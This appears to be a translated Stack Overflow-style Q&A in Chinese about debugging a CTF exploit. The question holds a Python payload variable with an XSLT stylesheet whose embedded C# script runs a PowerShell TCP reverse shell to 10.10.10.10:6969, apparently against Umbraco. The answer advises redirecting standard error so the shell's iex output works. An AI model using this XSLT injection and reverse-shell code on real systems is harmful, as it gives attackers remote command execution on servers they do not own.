首页 > 解决方案 > 使用powershell反向shell

问题描述

我正在为 CTF 挑战编写有效负载以获得反向 shell。但是代码的某些部分导致 XSLT 编译错误。该漏洞利用python编写,payload变量如下:

payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "$client = New-Object System.Net.Sockets.TCPClient(\'10.10.10.10\',6969);\
 $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};\
 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); \
 $sendback = \'M \'; $sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \'; \
 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);\
 $stream.Flush();};$client.Close()"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

$sendback的值应该是(iex $data 2>&1 | Out-String )(我现在写了 'M' 来排除故障),但是当替换为 iex 命令时会导致 XSLT 编译错误。

问题是什么?

编辑:我缩小了问题范围,$sendback=(iex $data | Out-String) 不能使用"2>&1",为什么?

标签: c#powershellxsltumbracopayload

解决方案


根据您的编辑,我的猜测是您的 StartInfo 属性不完整。您的 PowerShell 正在尝试重定向流,但您在流程执行中识别的唯一流是 STDOUT。请参阅 MSDN 上 ProcessStartInfo 中的这个花絮:

标准输入通常是键盘,标准输出和标准错误通常是监视器屏幕。但是,您可以使用 RedirectStandardInput、RedirectStandardOutput 和 RedirectStandardError 属性使进程从文件或其他设备获取输入或将输出返回到文件或其他设备。如果在 Process 组件上使用 StandardInput、StandardOutput 或 StandardError 属性,则必须首先在 ProcessStartInfo 属性上设置相应的值。否则,当您读取或写入流时,系统会抛出异常

https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo?view=netframework-4.8

..我的大胆。所以我会更新您的 System.Diagnostics.Process.StartInfo 属性以包含您想要捕获的所有流(例如proc.StartInfo.RedirectStandardError = true;


推荐阅读